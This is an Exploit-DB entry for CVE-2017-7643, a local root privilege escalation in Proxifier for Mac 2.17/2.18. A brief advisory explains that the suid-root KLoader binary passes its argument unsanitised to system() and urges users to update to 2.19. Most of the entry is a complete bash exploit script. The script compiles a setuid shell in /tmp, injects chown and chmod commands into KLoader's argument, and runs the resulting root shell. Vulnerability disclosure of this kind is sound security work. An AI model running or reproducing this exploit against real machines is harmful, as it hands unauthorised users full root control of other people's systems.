Proxifier for Mac 2.17 / 2.18 - Privesc Escalation

EDB-ID: 41854
Author: Mark Wadham
Published: 2017-04-11
CVE: CVE-2017-7643
Type: Local
Platform: macOS
Aliases: N/A
Advisory/Source: Link
Tags: Local
Vulnerable App: N/A

  
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.

Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().

This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.

Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!

Everyone using Proxifier for Mac should update to 2.19 as soon as possible.

https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------

#!/bin/bash

#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18 #
#####################################################################
# by m4rkw #
#####################################################################

cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main()
{
setuid(0);
seteuid(0);

execl("/bin/bash", "bash", NULL);
return 0;
}
EOF

gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a

-------------------------------------------------------------------

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